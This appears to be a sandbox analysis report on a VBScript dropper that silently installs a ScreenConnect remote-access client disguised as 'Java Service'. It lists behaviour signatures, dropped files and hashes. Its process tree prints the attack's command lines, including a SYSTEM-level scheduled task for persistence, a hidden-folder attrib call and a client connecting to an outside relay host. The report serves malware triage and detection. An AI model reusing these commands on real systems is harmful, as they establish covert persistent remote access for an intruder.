Analysis

  • max time kernel
    148s
  • max time network
    140s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/07/2026, 12:15

General

  • Target
    adb_fmkr17vgpmbb2_v37962.vbs
  • Size 104KB
  • Sample260722-pfb4dsvalg
  • SHA256 679c490a6944950e60577a42c5ef3be9ca7d7774cba0ad550defded5cc523f60
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 3 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Windows security modification 2 TTPs 6 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 43 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 59 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\adb_fmkr17vgpmbb2_v37962.vbs"
    1⤵
    • Windows security bypass
    • Badlisted process makes network request
    • Windows security modification
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:2716
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\hrndbhbm\gycszctk.msi" /qn
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4660
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4124
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding F1C2FE5763E9A56271B9CF0F5AB0ACD5 E Global\MSI0000
      2⤵
      • Badlisted process makes network request
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2712
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\SysWOW64\cmd.exe" /c start "" /b msiexec.exe /i "C:\Windows\Temp\Java Service 39879_186093.msi" /qn /norestart
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1736
        • C:\Windows\SysWOW64\msiexec.exe
          msiexec.exe /i "C:\Windows\Temp\Java Service 39879_186093.msi" /qn /norestart
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:3928
      • C:\Windows\SysWOW64\attrib.exe
        "C:\Windows\SysWOW64\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\AppCache\2wzkud99vd"
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:4736
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\SysWOW64\schtasks.exe" /Create /TN "CK_tn8nglgtr4" /TR "wscript.exe //B C:\ProgramData\Microsoft\Windows\Caches\tn8nglgtr4.vbs" /SC ONSTART /RL HIGHEST /RU SYSTEM /F
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:3956
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding A3C25A32B1400BDB0F8374315BD2F37F E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4824
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI339A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240727187 11 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:5172
  • C:\Windows\system32\wscript.exe
    wscript.exe
    1⤵
      PID:836
    • C:\Program Files (x86)\Java Service 39879 Client\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\Java Service 39879 Client\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.satis.lol&p=8041&s=8590d869-fc4c-48af-b96b-01d61eb9eaef&k=BgIAAACkAABSU0ExAAgAAAEAAQDJJDNUYbdnnRnf8mHbsp8q1wWBARx7T6uT3amOwHMCmxApuZToEfcfo2HomY1dJcdFXmewRkqN15trcw8aP52cHOgZE0l8LsztDgLK%2f5j1nYphbIWSEiLauNpq84T3lNZr6KN0YJ4WZvHk8AvKOLnUbeDiw2Y7JYjjnwWmpcE2Htsaok%2by7x2g1B4r%2fFa6eSkCG69X8R9lVCbifff27hdsia3zvOBRflT7rEpgr9l5JbkP6e%2bONadmzuqB0d0RWffGkQfdtTKXLFq1vDzbpfldZETyAvHE4%2bLgz6xldn649uh493c7E7Un3au5Q4lbhE9IIcptdmnWUzhver%2frRlKp&c=newrbn&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2204
      • C:\Program Files (x86)\Java Service 39879 Client\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\Java Service 39879 Client\ScreenConnect.WindowsClient.exe" "RunRole" "6c99022d-46ce-479e-ba28-406a1b0d3038" "User"
        2⤵
        • Executes dropped EXE
        PID:4384
      • C:\Program Files (x86)\Java Service 39879 Client\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\Java Service 39879 Client\ScreenConnect.WindowsClient.exe" "RunRole" "3f460353-cd56-4ac1-a009-f624a74d3913" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5140

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e592498.rbs

          • Path C:\Config.Msi\e592498.rbs
          • Size 7KB
          • SHA256 6d3049c0f53cc3d7dbfb9234cce1aa11f9f073ff0dd44cc0d105d38165c46bf7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e59249d.rbs

          • Path C:\Config.Msi\e59249d.rbs
          • Size 213KB
          • SHA256 a9885774b173ebc29b01c7419f18dde0f42d574ab9ffb8c04dc9d6cd95830950
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\Java Service 39879 Client\Client.Override.en-US.resources
          • Size 301B
          • SHA256 a72216fd00620760fb6d46757b778c82fae3827ff15a3ddac4dde884407a12ea
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\Java Service 39879 Client\Client.Override.resources
          • Size 138KB
          • SHA256 9912faa4a08c41ac1b35e75ef7f9f02af24ad568893313535c8cd0b705b66865
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\Java Service 39879 Client\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\Java Service 39879 Client\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\Java Service 39879 Client\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\Java Service 39879 Client\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\Java Service 39879 Client\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\Java Service 39879 Client\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\Java Service 39879 Client\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\Java Service 39879 Client\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\Java Service 39879 Client\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\Java Service 39879 Client\app.config
          • Size 2KB
          • SHA256 73cd09e7d3a9adcb4f2ed7c0a3369715f48c279b121697088a5ec201c276b98d
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\Java Service 39879 Client\system.config
          • Size 933B
          • SHA256 b28c183c2ce71a7fae565136e988c023a361c1518b9b4eabb1acd3db59cf3645
          • MD5 SHA1 SHA512 TLSH

          tn8nglgtr4.msi

          • Path C:\ProgramData\Microsoft\Windows\AppCache\2wzkud99vd\tn8nglgtr4.msi
          • Size 13.2MB
          • SHA256 0ea7cd97e6cadd70a015fffa4cc7bde8d95ce0fef4616e8387f0fc3c9be403fe
          • MD5 SHA1 SHA512 SSDEEP TLSH

          gycszctk.msi

          • Path C:\Users\Admin\AppData\Local\Temp\hrndbhbm\gycszctk.msi
          • Size 12.2MB
          • SHA256 6d1d0938c3f56b924c57a122ab605e20b424e3b02167960df5973146728b6e02
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI339A.tmp

          • Path C:\Windows\Installer\MSI339A.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI339A.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI339A.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI339A.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI339A.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI3ADF.tmp

          • Path C:\Windows\Installer\MSI3ADF.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2204-115-0x0000000004A50000-0x0000000004A86000-memory.dmp

          memory/2204-116-0x0000000004D30000-0x0000000004DC2000-memory.dmp

          memory/2204-111-0x0000000004A00000-0x0000000004A50000-memory.dmp

          memory/2204-89-0x00000000047A0000-0x00000000047B8000-memory.dmp

          memory/2204-120-0x0000000004F20000-0x0000000004FF5000-memory.dmp

          memory/2204-118-0x0000000004A90000-0x0000000004AD1000-memory.dmp

          memory/4124-139-0x000001C7E77C0000-0x000001C7E8164000-memory.dmp

          memory/4384-133-0x000000001B860000-0x000000001BA0C000-memory.dmp

          memory/4384-130-0x0000000000590000-0x0000000000628000-memory.dmp

          memory/4384-131-0x00000000028B0000-0x00000000028E6000-memory.dmp

          memory/4384-132-0x000000001B620000-0x000000001B6AC000-memory.dmp

          memory/4384-134-0x000000001BA10000-0x000000001BB98000-memory.dmp

          memory/4384-135-0x0000000002740000-0x0000000002758000-memory.dmp

          memory/4384-136-0x0000000002780000-0x0000000002798000-memory.dmp

          memory/4384-137-0x00000000028F0000-0x0000000002931000-memory.dmp

          memory/5172-45-0x0000000005410000-0x000000000549C000-memory.dmp

          memory/5172-41-0x00000000032B0000-0x00000000032BA000-memory.dmp

          memory/5172-37-0x0000000005310000-0x000000000533E000-memory.dmp

          memory/5172-49-0x0000000005650000-0x00000000057FC000-memory.dmp

          memory/5172-50-0x0000000005DC0000-0x000000000637A000-memory.dmp